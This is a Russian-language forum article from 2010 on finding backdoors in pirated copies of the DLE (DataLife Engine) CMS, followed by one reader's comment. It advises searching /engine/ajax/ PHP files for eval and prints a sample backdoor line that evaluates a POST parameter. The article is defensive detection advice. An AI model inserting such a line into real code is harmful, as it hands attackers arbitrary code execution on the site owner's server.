» » » Как найти бекдор в DLE ?

Как найти бекдор в DLE ?

0
Как найти бекдор в DLE ?

Как ни прискорбно, но DLE сечас нулят практически все. Но помимо нулла, некоторые нулерята любят добавлять бэкдор в движок, для своих нехороших целей. Я бы хотел описать один из возможных мест расположения бэкдора, и как проверять - есть бэкдор или нет.

Первый и самый наилучший способ - купить лицензию и спать спокойно. Хотя все равно нет гарантии полной безопасности. Даже если предположить, что DLE 100% обезопасен, все равно есть способы навредить вам. Эти способы описываться не будут, (чтобы наши молодые "школьные хацкеры" не забивали себе голову).

Второй способ по надежности практически не уступает первому. Если вы уже пользуетесь нулленым движком, то качайте его с одного и того же проверенного источника (автора). Однако все равно стоит проверить файлы даже в этом случае.
В некоторых случаях даже на проверенных сайтах может быть выложена версия с бэкдором, админы не всегда в состянии проверять все, что выкладывается на сайте. Будте бдительны и осторожны.

А теперь немного о бэкдорах.
Не буду описывать что такое бэкдор, думаю и все это прекрасно знают. А вот как его найти, это сейчас и будем рассматривать.
Практически всегда бэкдоры вставляются в php файлах в папке /engine/ajax/
Найти его элементарно, просто ищите в тексте совпадение слова: eval
Пример бэкдора:
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}

где операнд для выполнения кода:
eval()

Таким способом можно легко выполнить любой php код включая выполнение запросов в БД, а там уже на что хватит фантазии проказника.

Еще бэкдор может быть расположен в любом другом php файле, но если выполнено одно из нижеследующих условий - даже если бэкдор в файле и есть, то он бесполезен.
1. В папке в php файлом есть файл .htaccess с содержимым:
Order Deny,Allow
Deny from all


Эти две строки запрещают доступ к этим файлам на прямую, через адресную строку. Например, попробуйте обратиться на прямую в файлам кэша.
2. Если в php файле есть блок:
if( ! defined( 'DATALIFEENGINE' ) ) {
    die( "Hacking attempt!" );
}

Эти строки так же не позволяет прямое обращение к файлу на выполнение. Но переменная DATALIFEENGINE задается во всех php файлах из папки engine/ajax, поэтому бэкдоры размещаются чаще всего там.
Внимание!
Для просмотра скрытого текста, Вам необходимо Войти или Зарегистрироваться.
  • Полезные статьи
  • 24-10-2010, 16:06
  • 4056
Вернуться назад
Аватар
  • Ник: asteri
  • 17 декабря 2014 10:34
1
спасибо за подсказку. я кстати сказать, нашла в одном из файлов слово eval, в двух строчках. сейчас буду дальше проверять, остальные файлы. Подскажите пожалуйста, достаточно удалить само это слово или нужно всю строчку, там где оно стояло? я в программировании вообще ноль, поэтому не знаю, как обезвредить этого червя окончательно.
0
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.